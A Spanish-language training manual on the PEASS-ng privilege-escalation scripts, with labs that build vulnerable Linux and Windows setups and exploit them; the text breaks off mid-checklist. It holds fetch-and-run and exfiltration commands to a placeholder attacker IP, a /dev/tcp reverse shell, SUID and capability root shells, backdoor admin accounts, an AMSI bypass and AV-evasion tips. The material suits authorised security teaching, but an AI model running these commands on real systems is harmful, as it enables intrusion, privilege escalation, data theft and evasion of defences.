GhostAcademy
GhostAcademy
PEASS-ng: LinPEAS & WinPEAS
Manual Completo
PEASS-ng
LinPEAS & WinPEAS

Privilege Escalation Awesome Scripts Suite. El estándar de facto para auditorías locales de privilege escalation. Este manual cubre despliegue, interpretación de resultados, laboratorios prácticos con configuraciones vulnerables reales y metodología para encontrar la vía de escalada entre miles de líneas de output.

⚠ Disclaimer LegalEste manual es para fines educativos y entornos de laboratorio autorizados exclusivamente. El uso de estas técnicas sin autorización es ilegal. GhostAcademy promueve la seguridad ética.

¿Qué es PEASS-ng?

PEASS-ng (Privilege Escalation Awesome Scripts Suite — next generation) es una colección de scripts mantenidos por carlospolop diseñados para automatizar la búsqueda de vectores de escalada de privilegios en sistemas locales. No explota vulnerabilidades directamente: enumera, detecta y colorea posibles vías de ataque.

🐧
LinPEAS
Script Bash/Python para Linux, macOS y BSD. Más de 400 checks. Enumera kernel, SUID, capabilities, cron, sudo, credenciales, contenedores y mucho más.
LINUX / macOS
🪟
WinPEAS
Binario .NET (.exe) y script BAT para Windows. Enumera servicios, registro, credenciales, tareas, tokens, DLLs, Active Directory y más de 300 checks.
WINDOWS
🔄
Actualización Continua
El repositorio se actualiza constantemente. Siempre descarga la versión más reciente antes de una auditoría para tener los últimos checks.
github.com/peass-ng
🎨
Sistema de Colores
El hallazgo más importante de PEASS es su código de colores. Rojo/amarillo = acción inmediata. Sin entender los colores, el output es ruido.
Ver módulo Colores

¿Qué detecta cada uno?

CategoríaLinPEASWinPEAS
Sistema / OS✓ Kernel, distro, parches✓ OS, hotfixes, arquitectura
Usuarios / Grupos✓ sudo, grupos, passwd✓ tokens, grupos, privilegios
Servicios✓ permisos de binarios✓ unquoted paths, permisos
Tareas/Cron✓ crontab, scripts escribibles✓ scheduled tasks, permisos
SUID/Capabilities✓ GTFOBins integrationN/A (Windows)
Registro de WindowsN/A (Linux)✓ autorun, AlwaysInstall
Credenciales✓ archivos, historial, SSH✓ SAM, GPP, Credential Mgr
Contenedores✓ Docker, LXC escapesLimitado
Active DirectoryLimitado✓ dominio, Kerberos, ACLs
Red✓ puertos, interfaces, hosts✓ puertos, firewall, ARP
Clave de Lectura
🎨 Sistema de Colores

El output de PEASS puede superar las 3000 líneas. El sistema de colores es tu guía visual para priorizar qué leer primero. Si no lo entiendes, estarás perdido.

★ Regla de oroEmpieza siempre por el rojo. Si no hay rojo, busca el amarillo. El resto es contexto. Un auditor experimentado puede identificar la vía de escalada en menos de 2 minutos con esta regla.

Escala de Prioridad — Linux (LinPEAS)

95% PE Vector → Altísima probabilidad de escalada Rojo brillante → Vector de escalada confirmado o muy probable Amarillo → Configuración interesante, revisar manualmente Verde → Información útil pero no crítica Cian → Herramientas disponibles en el sistema Azul → Información general del sistema Sin color → Información de baja relevancia
Rojo con fondo rojo
95%+ probabilidad de PE — acción inmediata
Rojo brillante
Vector muy probable — revisar siempre
Amarillo
Configuración anómala — puede ser explotable
Verde
Información útil, contexto de auditoría
Cian / Azul
Herramientas y datos del sistema

Ejemplo Real de Output LinPEAS

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════ ╔══════════╗ ║ Cron jobs ║ ╚══════════╝ /etc/crontab: SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root /opt/scripts/cleanup.sh ← cron de root cada minuto! ╔════════════════════╗ ║ Files with writable ║ ╚════════════════════╝ 95% PE /opt/scripts/cleanup.sh is writable by current user! -rwxrwxr-x 1 root www-data 142 /opt/scripts/cleanup.sh ╔════════╗ ║ SUID ║ ╚════════╝ -rwsr-xr-x 1 root root /usr/bin/find ← SUID en find (GTFOBins!) -rwsr-xr-x 1 root root /usr/bin/passwd -rwsr-xr-x 1 root root /usr/bin/sudo

Ejemplo Real de Output WinPEAS

================================================================( Services Information )================================================================ ╔══════════╗ ║ Services ║ ╚══════════╝ Name: VulnerableService DisplayName: My Application Service StartType: Automatic PathName: C:\Program Files\My Application\service.exe ! File Permissions: Everyone [AllAccess] ← binario modificable! ServiceAccount: LocalSystem ================================================================( Users Information )================================================================ Current User: victim\lowpriv Privileges: SeImpersonatePrivilege: Enabled POTATO SeChangeNotifyPrivilege: Enabled SeUndockPrivilege: Disabled ================================================================( Registry Checks )================================================================ AlwaysInstallElevated HKLM: 1 — HKCU: 1 → MSI malicioso se ejecuta como SYSTEM!
LinPEAS — Módulo 01
LinPEAS — Despliegue

Múltiples métodos para transferir y ejecutar LinPEAS en una máquina víctima sin acceso a internet ni permisos de escritura garantizados.

🐧 Linux
macOS

Método 1 — HTTP Server desde Atacante

BASH — Atacante (Kali)
# Descargar la versión más reciente
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
# Servir vía HTTP
python3 -m http.server 8080
# O con SimpleHTTPServer más completo
updog -p 8080
BASH — Víctima
# Descargar y ejecutar directamente (sin escribir a disco)
curl -s http://ATACANTE_IP:8080/linpeas.sh | bash
# Descargar y ejecutar con colores guardados
curl -s http://ATACANTE_IP:8080/linpeas.sh -o /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh 2>/dev/null | tee /tmp/lp_out.txt
# Con wget si no hay curl
wget -q http://ATACANTE_IP:8080/linpeas.sh -O- | bash

Método 2 — Ejecución en Memoria (sin disco)

💡 Stealth tipEjecutar directamente desde memoria evita dejar el script en disco y dificulta la detección forense.
BASH — Víctima (in-memory)
# Ejecutar directamente desde GitHub sin tocar disco
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Con base64 por si hay filtrado de URLs
bash -c "$(curl -sL http://ATACANTE_IP:8080/linpeas.sh | base64 -d)"

Método 3 — SCP / Netcat

BASH — Transferencia alternativa
# SCP (si tenemos credenciales SSH)
scp linpeas.sh user@victim:/tmp/
# Netcat — Atacante envía
nc -lvnp 9001 < linpeas.sh
# Netcat — Víctima recibe
nc ATACANTE_IP 9001 > /tmp/lp.sh && chmod +x /tmp/lp.sh

Guardar Output con Colores (para revisión offline)

BASH
# Guardar con códigos de color ANSI (para ver con cat)
bash linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
# Exfiltrar el output al atacante
cat /tmp/linpeas_output.txt | nc ATACANTE_IP 9002
# En atacante: recibir y ver con colores
nc -lvnp 9002 | less -R
LinPEAS — Módulo 02
Leer el Output de LinPEAS

La habilidad más importante es saber qué buscar en las más de 3000 líneas de output. Aquí está la metodología y los patrones clave.

Estructura del Output

╔════════════════════════════════════╗ ║ System Information ║ ╚════════════════════════════════════╝ ← Bloque 1: OS, kernel, hostname ╔════════════════════════════════════╗ ║ Users Information ║ ╚════════════════════════════════════╝ ← Bloque 2: usuarios, grupos, sudo ╔════════════════════════════════════╗ ║ Software Information ║ ╚════════════════════════════════════╝ ← Bloque 3: versiones de software ╔════════════════════════════════════╗ ║ Processes, Crons, Services ║ ╚════════════════════════════════════╝ ← Bloque 4: CRÍTICO — cron + servicios ╔════════════════════════════════════╗ ║ Network Information ║ ╚════════════════════════════════════╝ ← Bloque 5: puertos, interfaces ╔════════════════════════════════════╗ ║ Interesting Files ║ ╚════════════════════════════════════╝ ← Bloque 6: CRÍTICO — credenciales, SUID

Grepping Rápido del Output

BASH — Filtrar resultados
# Solo líneas con "95%" (máxima prioridad)
cat linpeas_output.txt | grep "95%"
# Buscar en secciones específicas
cat linpeas_output.txt | grep -A 10 "SUID"
cat linpeas_output.txt | grep -A 10 "Cron"
cat linpeas_output.txt | grep -A 10 "sudo"
# Encontrar contraseñas
cat linpeas_output.txt | grep -i "password\|passwd\|secret\|token\|key"
# Ver output con colores en terminal
cat linpeas_output.txt | less -R

Los 6 Vectores que LinPEAS Prioriza

⏰
Cron Jobs
Busca scripts de root ejecutados periódicamente que sean escribibles por el usuario actual.
🚩
SUID / SGID
Compara contra la lista de GTFOBins. Si encuentra un binario conocido en SUID, lo marca en rojo.
🔑
Sudo Rules
Detecta reglas de sudo explotables, especialmente NOPASSWD y wildcards peligrosos.
🎯
Capabilities
Lista todas las capabilities asignadas a binarios y las marca si son de alto impacto.
🔐
Credenciales
Busca en .bash_history, archivos de config, variables de entorno y archivos .env.
💥
Kernel CVEs
Identifica la versión del kernel y sugiere exploits conocidos por número de CVE.

Interpretando la sección SUDO

══════════════════════════╣ Sudo version ╠══════════════════════════ Sudo version 1.8.31 ← buscar CVEs para esta versión ══════════════════════════╣ Sudoers ╠══════════════════════════ www-data ALL=(ALL) NOPASSWD: /usr/bin/vim 95% PE www-data ALL=(root) NOPASSWD: /usr/bin/find /var/www/* ← wildcard, posible bypass www-data ALL=(root) /usr/bin/systemctl restart nginx ← limitado pero útil

Interpretando la sección SUID

══════════════════════════╣ SUID - Check easy privesc ╠══════════════════════════ GTFOBins -rwsr-xr-x 1 root root /usr/bin/find → find . -exec /bin/sh \; GTFOBins -rwsr-xr-x 1 root root /usr/bin/python3 → python3 -c 'import os; os.system("/bin/sh")' -rwsr-xr-x 1 root root /usr/bin/pkexec ← CVE-2021-4034 (PwnKit) -rwsr-xr-x 1 root root /usr/bin/passwd ← normal, no explotable fácil -rwsr-xr-x 1 root root /usr/bin/sudo ← normal
LinPEAS — Módulo 03
LinPEAS — Flags y Opciones

LinPEAS tiene múltiples flags para controlar qué checks ejecutar, cuánto ruido genera y cómo formatea el output.

BASH — Ayuda y flags
bash linpeas.sh -h
Usage: linpeas.sh [flags]

 -a  →  All checks (puede tardar 30+ min en sistemas grandes)
 -s  →  Super Fast — solo checks de alta prioridad
 -w  →  Wait time entre secciones (reduce carga en CPU)
 -d  →  Network discovery (escanear red local)
 -p  →  Password cracking (intentar crackear hashes encontrados)
 -o  →  Guardar en fichero con colores
 -q  →  Quiet — menos output de bajo riesgo
 -n  →  No colores (para pipelines)
 -P  →  Contraseña a probar contra credenciales encontradas

Casos de uso recomendados

BASH — Casos de uso
# CTF / Lab rápido — solo lo importante
bash linpeas.sh -s 2>/dev/null | tee /tmp/out.txt

# Auditoría completa — todos los checks
bash linpeas.sh -a 2>/dev/null | tee /tmp/full_out.txt

# Silencioso con output a fichero (para exfiltrar)
bash linpeas.sh -q -n 2>/dev/null > /tmp/lp_nocolor.txt

# Probar contraseña conocida contra hashes y servicios
bash linpeas.sh -P 'Password123' 2>/dev/null

# Escanear red local además del sistema
bash linpeas.sh -a -d 2>/dev/null | tee /tmp/full.txt
EscenarioComandoTiempo aprox.
CTF / Rápidobash linpeas.sh -s~2 min
Estándarbash linpeas.sh~5 min
Completobash linpeas.sh -a~30 min
Sin discocurl URL | bash~5 min
WinPEAS — Módulo 01
WinPEAS — Despliegue

WinPEAS viene en múltiples versiones. Elegir la correcta depende del sistema, la arquitectura y las restricciones del entorno.

🪟 Windows

Variantes de WinPEAS

ArchivoDescripciónCuándo usarlo
winPEASx64.exe.NET 4.0 compilado para 64 bitsPrimera opción en sistemas modernos
winPEASx86.exe.NET 4.0 compilado para 32 bitsSistemas legados 32 bits
winPEASany.exeCompatible con cualquier arquitecturaSi no sabes la arquitectura
winPEAS.batScript BAT puro, sin .NETSin .NET / restricciones de ejecución

Transferencia desde Atacante

CMD / PowerShell — Víctima
:: Con certutil (disponible en Windows XP+)
certutil -urlcache -f http://ATACANTE_IP:8080/winPEASx64.exe C:\Temp\wp.exe

:: Con PowerShell (Windows 7+)
Invoke-WebRequest -Uri http://ATACANTE_IP:8080/winPEASx64.exe -OutFile C:\Temp\wp.exe
(New-Object System.Net.WebClient).DownloadFile("http://ATACANTE_IP:8080/winPEASx64.exe","C:\Temp\wp.exe")

:: Con curl (Windows 10 1803+)
curl -o C:\Temp\wp.exe http://ATACANTE_IP:8080/winPEASx64.exe

:: SMB desde atacante (impacket)
:: Atacante: impacket-smbserver share . -smb2support
copy \\ATACANTE_IP\share\winPEASx64.exe C:\Temp\wp.exe

Ejecutar y Guardar Output

CMD
:: Ejecutar y guardar
C:\Temp\wp.exe > C:\Temp\winpeas_out.txt 2>&1

:: Con colores para terminal (si hay consola interactiva)
C:\Temp\wp.exe color

:: PowerShell: guardar con codificación correcta
C:\Temp\wp.exe | Out-File C:\Temp\out.txt -Encoding UTF8

:: Exfiltrar output vía SMB
C:\Temp\wp.exe > \\ATACANTE_IP\share\winpeas_out.txt 2>&1
WinPEAS — Módulo 02
Leer el Output de WinPEAS

WinPEAS organiza su output en secciones. Aprende a navegar rápidamente por los hallazgos más críticos.

Secciones Más Críticas (por prioridad)

🎟
1. User Privileges
SeImpersonatePrivilege habilitado = Potato attack casi garantizado. Primera sección a revisar.
⚙️
2. Services
Permisos en binarios, unquoted paths y permisos de modificación del servicio (AllAccess).
📋
3. Registry
AlwaysInstallElevated, autorun paths con escritura, autologin credentials.
🔐
4. Credentials
GPP passwords, Credential Manager, historial de PowerShell, archivos de config.
📅
5. Scheduled Tasks
Tareas que corren como SYSTEM con binarios o scripts modificables.
🏢
6. Active Directory
Información de dominio, ACLs, delegación Kerberos, cuentas con SPN.

Grepping Rápido del Output WinPEAS

PowerShell
# Buscar hallazgos críticos (texto rojo en WinPEAS)
Select-String -Path C:\Temp\out.txt -Pattern "VULNERABLE|AllAccess|Enabled|AlwaysInstall"

# Buscar contraseñas y credenciales
Select-String -Path C:\Temp\out.txt -Pattern "password|passwd|credential|secret" -CaseSensitive:$false

# Buscar SeImpersonate
Select-String -Path C:\Temp\out.txt -Pattern "SeImpersonate|SeAssign"

# Servicios con AllAccess (binario modificable)
Select-String -Path C:\Temp\out.txt -Pattern "AllAccess|Everyone.*F"
WinPEAS — Módulo 03
WinPEAS — Flags y Opciones

WinPEAS acepta argumentos para ejecutar solo categorías específicas, ahorrando tiempo en auditorías dirigidas.

CMD — Ayuda
winPEASx64.exe --help
Flags:
 systeminfo    → Solo información del sistema
 userinfo      → Solo información de usuarios
 processinfo   → Solo procesos en ejecución
 servicesinfo  → Solo servicios
 applicationsinfo → Software instalado
 networkinfo   → Información de red
 windowscreds  → Solo credenciales de Windows
 browserinfo   → Credenciales de navegadores
 filesinfo     → Archivos interesantes
 eventsinfo    → Logs de eventos
 wait          → Pausa entre secciones
CMD — Casos de uso
:: Solo credenciales (rápido, ~30 seg)
winPEASx64.exe windowscreds

:: Solo servicios y sistema
winPEASx64.exe systeminfo servicesinfo

:: Solo info de usuario y privilegios (primer check)
winPEASx64.exe userinfo

:: Todo completo (puede tardar 5-15 min)
winPEASx64.exe > C:\Temp\full_output.txt 2>&1

:: Pausar entre secciones (menos carga)
winPEASx64.exe wait > C:\Temp\output.txt
Laboratorio Linux — 01
⏰ Lab: Cron Job Inseguro

Aprende a montar el laboratorio, ejecutar LinPEAS, identificar el vector en el output y explotarlo paso a paso.

🐧 Linux
🧪LAB-LIN-01 — Cron Job con Script EscribibleFÁCIL

Un cron job ejecutado como root corre un script al que el usuario www-data tiene permisos de escritura. LinPEAS lo detecta con 95% de confianza.

Fase 1 — Configurar el Entorno Vulnerable

BASH — Como root (setup del lab)
# Crear script de backup que corre root
mkdir -p /opt/scripts
cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
tar -czf /tmp/backup_$(date +%Y%m%d).tar.gz /var/www/html
echo "Backup completado: $(date)" >> /var/log/backup.log
EOF
# VULNERABILIDAD: dar escritura al grupo www-data
chown root:www-data /opt/scripts/backup.sh
chmod 775 /opt/scripts/backup.sh
# Añadir a crontab (cada minuto)
echo '* * * * *   root    /opt/scripts/backup.sh' >> /etc/crontab
# Cambiar a usuario sin privilegios
su - www-data -s /bin/bash

Fase 2 — Ejecutar LinPEAS y Detectar el Vector

BASH — Como www-data
curl -s http://ATACANTE_IP:8080/linpeas.sh | bash 2>/dev/null | tee /tmp/out.txt
# Buscar en el output...
grep -E "95%|writable|cron" /tmp/out.txt
╔══════════╗ ║ Cron jobs ║ ╚══════════╝ /etc/crontab: * * * * * root /opt/scripts/backup.sh 95% PE /opt/scripts/backup.sh is writable by current user (www-data) -rwxrwxr-x 1 root www-data /opt/scripts/backup.sh

Fase 3 — Explotar el Vector

BASH — Como www-data
# Opción A: Añadir SUID a bash
echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh
# Esperar ~1 minuto al siguiente ciclo del cron
watch -n 5 "ls -la /bin/bash | grep 'rws'"
# Cuando aparezca el bit SUID:
bash -p
bash-5.1# whoami → root

# Opción B: Reverse shell
echo 'bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1' >> /opt/scripts/backup.sh
# En atacante:
nc -lvnp 4444

Cleanup del Lab

BASH — Como root
# Eliminar la entrada del crontab
sed -i '/backup.sh/d' /etc/crontab
rm -f /opt/scripts/backup.sh
# Restaurar bash si aplicó
chmod u-s /bin/bash
Laboratorio Linux — 02
🚩 Lab: SUID Peligroso

Configurar varios binarios con SUID y aprender a identificar cuáles son explotables usando la integración de LinPEAS con GTFOBins.

🐧 Linux
🧪LAB-LIN-02 — SUID en Binarios EstándarFÁCIL

Se asigna el bit SUID a varios binarios conocidos. LinPEAS detecta cuáles están en la lista de GTFOBins y marca la técnica de explotación.

Configurar el Laboratorio

BASH — Como root (setup)
# Asignar SUID a varios binarios (vulnerables)
chmod u+s /usr/bin/find
chmod u+s /usr/bin/python3
chmod u+s /usr/bin/vim.basic
# Verificar
ls -la /usr/bin/find /usr/bin/python3 /usr/bin/vim.basic | grep "rws"
-rwsr-xr-x 1 root root /usr/bin/find
-rwsr-xr-x 1 root root /usr/bin/python3
-rwsr-xr-x 1 root root /usr/bin/vim.basic

Qué Detecta LinPEAS

═══════════════╣ SUID - Check easy privesc, exploits and write perms ╠═══════════════ GTFOBins -rwsr-xr-x 1 root root /usr/bin/find → Exploit: find . -exec /bin/sh \; -quit GTFOBins -rwsr-xr-x 1 root root /usr/bin/python3 → Exploit: python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' GTFOBins -rwsr-xr-x 1 root root /usr/bin/vim.basic → Exploit: vim.basic -c ':py3 import os; os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'

Explotar los Vectores

BASH — Como usuario sin privilegios
# find SUID
find . -exec /bin/bash -p \; -quit
bash-5.1# id → euid=0(root)

# python3 SUID
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
bash-5.1# id → euid=0(root)

# vim SUID
vim.basic -c ':py3 import os; os.execl("/bin/bash","bash","-pc","reset; exec bash -p")'

Cleanup

BASH — Como root
chmod u-s /usr/bin/find /usr/bin/python3 /usr/bin/vim.basic
Laboratorio Linux — 03
🎯 Lab: Linux Capabilities

Asignar cap_setuid a intérpretes y observar cómo LinPEAS las detecta y las prioriza con mayor peso que los SUID normales.

🐧 Linux
🧪LAB-LIN-03 — cap_setuid en IntérpretesMEDIO

Las capabilities son más sutiles que SUID y muchos administradores las configuran incorrectamente creyendo que son más seguras. LinPEAS las detecta con gran precisión.

Configurar el Laboratorio

BASH — Como root
# Asignar cap_setuid a Python3 y Perl
setcap cap_setuid+eip /usr/bin/python3.10
setcap cap_setuid+eip /usr/bin/perl
setcap cap_net_raw+eip /usr/bin/tcpdump
# Verificar
getcap -r / 2>/dev/null
/usr/bin/python3.10 = cap_setuid+eip
/usr/bin/perl = cap_setuid+eip
/usr/bin/tcpdump = cap_net_raw+eip

Output de LinPEAS

══════════════╣ Capabilities ╠══════════════ 95% PE /usr/bin/python3.10 = cap_setuid+eip → python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' 95% PE /usr/bin/perl = cap_setuid+eip → perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' /usr/bin/tcpdump = cap_net_raw+eip ← sniffing posible, no PE directo

Explotación

BASH — Usuario sin privilegios
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@lab:~# whoami → root

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@lab:~# whoami → root

Cleanup

BASH — Como root
setcap -r /usr/bin/python3.10
setcap -r /usr/bin/perl
setcap -r /usr/bin/tcpdump
Laboratorio Linux — 04
🔑 Lab: SUDO Mal Configurado

Crear reglas de sudo inseguras (NOPASSWD con binarios GTFOBins, wildcards, env_keep) y aprender a identificarlas en el output de LinPEAS.

🐧 Linux
🧪LAB-LIN-04 — Reglas sudo InsegurasFÁCIL

Tres niveles de dificultad: sudo directo, wildcard bypass y LD_PRELOAD injection. LinPEAS detecta los tres con diferentes niveles de alerta.

Configurar el Laboratorio

BASH — Como root
# Editar sudoers: visudo o escribir en /etc/sudoers.d/
cat > /etc/sudoers.d/lab-vuln << 'EOF'
# Nivel 1: NOPASSWD con binario GTFOBins
www-data ALL=(ALL) NOPASSWD: /usr/bin/vim

# Nivel 2: Wildcard en ruta (bypass posible)
deploy ALL=(root) NOPASSWD: /usr/bin/find /var/www/*

# Nivel 3: env_keep + LD_PRELOAD
Defaults env_keep += LD_PRELOAD
webadmin ALL=(root) NOPASSWD: /usr/sbin/apache2
EOF
chmod 440 /etc/sudoers.d/lab-vuln

Qué Detecta LinPEAS (ejecutado como www-data)

══════════════╣ Sudo version & rules ╠══════════════ GTFOBins www-data ALL=(ALL) NOPASSWD: /usr/bin/vim → sudo vim -c ':!/bin/bash' deploy ALL=(root) NOPASSWD: /usr/bin/find /var/www/* !! Wildcard in sudo rule — possible bypass !! Defaults env_keep += LD_PRELOAD webadmin ALL=(root) NOPASSWD: /usr/sbin/apache2 LD_PRELOAD → sudo LD_PRELOAD=/tmp/shell.so apache2

Cleanup

BASH — Como root
rm /etc/sudoers.d/lab-vuln
Laboratorio Windows — 01
📋 Lab: Registro Débil

Configurar AlwaysInstallElevated y claves de autorun con permisos inseguros. WinPEAS los detecta inmediatamente con máxima prioridad.

🪟 Windows
🧪LAB-WIN-01 — AlwaysInstallElevated + Autorun InseguroFÁCIL

Dos vectores clásicos de registro. AlwaysInstallElevated permite instalar MSI como SYSTEM. El autorun inseguro permite reemplazar el ejecutable que arranca con la sesión.

Configurar el Laboratorio

CMD — Como Administrador (setup)
:: Habilitar AlwaysInstallElevated en ambas ramas
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f

:: Crear entrada de autorun con escritura para Users
mkdir C:\ProgramData\StartupApps
echo @echo off > "C:\ProgramData\StartupApps\updater.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v AppUpdater /t REG_SZ /d "C:\ProgramData\StartupApps\updater.bat" /f
:: Dar permisos de escritura al directorio a Users
icacls "C:\ProgramData\StartupApps" /grant "BUILTIN\Users:(OI)(CI)W"

Output de WinPEAS

═══════════════════════( Registry Checks )═══════════════════════ AlwaysInstallElevated HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer: AlwaysInstallElevated = 1 HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer: AlwaysInstallElevated = 1 → Create MSI: msfvenom -p windows/x64/shell_reverse_tcp ... -f msi → Install: msiexec /quiet /qn /i malicious.msi ═══════════════════════( Autorun )═══════════════════════ HKLM\...\Run: AppUpdater → C:\ProgramData\StartupApps\updater.bat !! File/Folder Permissions: BUILTIN\Users [WriteData/AddFile] MODIFIABLE

Cleanup

CMD — Como Administrador
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v AppUpdater /f
rmdir /s /q C:\ProgramData\StartupApps
Laboratorio Windows — 02
⚙️ Lab: Servicio Inseguro

Crear un servicio con permisos de escritura en su binario y un Unquoted Service Path. WinPEAS detecta ambos con alta prioridad.

🪟 Windows
🧪LAB-WIN-02 — Binario Modificable + Unquoted PathMEDIO

Un servicio real de Windows corriendo como SYSTEM cuyo binario puede ser reemplazado y cuya ruta no está entre comillas.

Configurar el Laboratorio

CMD — Como Administrador
:: Crear estructura de directorios con espacio (unquoted path)
mkdir "C:\Program Files\My Application"
echo @echo off > "C:\Program Files\My Application\service.exe"

:: VULNERABILIDAD 1: Registrar servicio sin comillas
sc create VulnService binPath= C:\Program Files\My Application\service.exe start= auto obj= LocalSystem

:: VULNERABILIDAD 2: Dar permisos de escritura al binario
icacls "C:\Program Files\My Application\service.exe" /grant "BUILTIN\Users:F"
sc start VulnService

Output de WinPEAS

═══════════════════════( Services )═══════════════════════ Name: VulnService PathName: C:\Program Files\My Application\service.exe StartType: Automatic — ServiceAccount: LocalSystem ! File Permissions: BUILTIN\Users [AllAccess] → Replace binary and restart service UnquotedPath C:\Program Files\My Application\service.exe Possible paths: C:\Program.exe C:\Program Files\My.exe ← if Users can write here

Cleanup

CMD — Como Administrador
sc stop VulnService
sc delete VulnService
rmdir /s /q "C:\Program Files\My Application"
Laboratorio Windows — 03
📅 Lab: Tarea Programada

Una tarea programada que corre cada 5 minutos como SYSTEM ejecuta un script en una ruta modificable por Users estándar.

🪟 Windows
🧪LAB-WIN-03 — Scheduled Task con Script EscribibleMEDIO

Similar al cron job de Linux pero en Windows. WinPEAS detecta que el script de la tarea es modificable por el usuario actual.

Configurar el Laboratorio

CMD / PowerShell — Como Administrador
:: Crear directorio y script de mantenimiento
mkdir C:\Maintenance
echo @echo off > C:\Maintenance\cleanup.bat
echo del /q C:\Temp\*.tmp >> C:\Maintenance\cleanup.bat

:: VULNERABILIDAD: Dar escritura a Users en el directorio
icacls C:\Maintenance /grant "BUILTIN\Users:(OI)(CI)W"

:: Crear tarea programada como SYSTEM cada 5 minutos
schtasks /create /tn "SystemMaintenance" /tr "C:\Maintenance\cleanup.bat" /sc minute /mo 5 /ru SYSTEM /f

Output de WinPEAS

═══════════════════════( Scheduled Tasks )═══════════════════════ TaskName: \SystemMaintenance Run: C:\Maintenance\cleanup.bat Trigger: Every 5 minutes RunAs: SYSTEM (Highest Privileges) MODIFIABLE C:\Maintenance\cleanup.bat — BUILTIN\Users [WriteData] → Append payload to script and wait for execution

Explotar y Cleanup

CMD — Usuario sin privilegios
:: Inyectar payload (añadir usuario admin)
echo net user ghost P@ssw0rd123 /add >> C:\Maintenance\cleanup.bat
echo net localgroup Administrators ghost /add >> C:\Maintenance\cleanup.bat
:: Esperar hasta 5 minutos...
net user ghost
User name: ghost — acceso admin obtenido!
CMD — Como Administrador (cleanup)
schtasks /delete /tn "SystemMaintenance" /f
rmdir /s /q C:\Maintenance
net user ghost /delete
Análisis Avanzado
🔬 Metodología de Análisis

Cómo procesar eficientemente el output masivo de PEASS. Workflow paso a paso para encontrar la vía de escalada en menos de 5 minutos.

★ Linux & Windows

El Workflow de los 5 Minutos

1
Grep por "95%" o marcas de alta prioridad
Empezar siempre aquí. Si PEASS marca algo como 95% PE, es casi certeza de escalada. Actuar sobre eso primero.
2
Revisar sección de Usuarios / Privilegios
En Linux: grupos especiales (docker, lxd, disk). En Windows: SeImpersonatePrivilege, SeDebugPrivilege. Cualquier privilegio habilitado de alto impacto.
3
Revisar sección de Sudo / Servicios
Linux: reglas sudo NOPASSWD con GTFOBins. Windows: servicios con AllAccess, unquoted paths.
4
Revisar SUID/Capabilities (Linux) o Registro (Windows)
GTFOBins en SUID, cap_setuid en capabilities. En Windows: AlwaysInstallElevated, autologin credentials.
5
Revisar credenciales y archivos sensibles
Historial, archivos .env, config, GPP. A veces la contraseña de root está a la vista en un archivo de configuración olvidado.

Comparativa de Herramientas Complementarias

HerramientaOSVentaja frente a PEASSUso ideal
LinEnumLinuxMás ligero, menos ruidoSistemas lentos o sin bash moderno
SeatbeltWindowsDatos de seguridad muy detalladosComplementar WinPEAS
PowerUpWindowsMejor integración PS, auto-exploitAuditorías de servicios
PrivescCheckWindowsOutput más limpio y estructuradoReportes / documentación
pspyLinuxDetecta cron ocultos en tiempo realConfirmar cron jobs sospechosos
BeRootAmbosPython, multiplataformaSistemas sin bash/PowerShell
Análisis Avanzado
🛡 Evasión de AV / EDR

En entornos con antivirus activo, los binarios de PEASS serán detectados. Técnicas para ejecutar los checks sin ser bloqueado.

★ Linux & Windows
⚠ ContextoEstas técnicas son para auditorías autorizadas donde el AV es parte del scope. El objetivo es evaluar la detección, no evadir controles de seguridad legítimos.

Técnicas para LinPEAS

BASH — Evasión de detección
# Ejecución en memoria (no escribe a disco)
curl -sL http://ATACANTE/linpeas.sh | bash

# Ofuscación básica: cambiar nombre y permisos
cp linpeas.sh /tmp/.sysupdate && chmod +x /tmp/.sysupdate && /tmp/.sysupdate

# Ejecutar sección por sección (menos firma detectada)
bash linpeas.sh -s 2>/dev/null | grep -E "95%|writable|SUID" | head -50

# Si hay restricción de ejecución: sourcing
. linpeas.sh

Técnicas para WinPEAS

PowerShell — Evasión
# Usar winPEAS.bat en lugar del .exe (menos detección)
winPEAS.bat > C:\Temp\out.txt

# Ejecutar solo módulos específicos (menor firma)
winPEASx64.exe userinfo windowscreds

# PowerUp como alternativa (script PS, no binario)
Set-ExecutionPolicy Bypass -Scope Process -Force
IEX (New-Object Net.WebClient).DownloadString('http://ATACANTE/PowerUp.ps1')
Invoke-AllChecks

# AMSI bypass para PS (entornos con restricciones)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Recursos
✅ Checklist PEASS-ng

Lista completa para no saltarse ningún paso en una auditoría con PEASS-ng.

🐧 Linux Pre-ejecución

  • Identificar arquitectura y versión exacta del OS (uname -a)
  • Verificar qué binarios de transferencia están disponibles (curl, wget, nc)
  • Comprobar si hay ejecución restringida (noexec en /tmp)
  • Elegir método de transferencia adecuado (HTTP, SCP, Netcat)

🐧 Linux Durante la Ejecución

  • Ejecutar LinPEAS y redirigir output a archivo
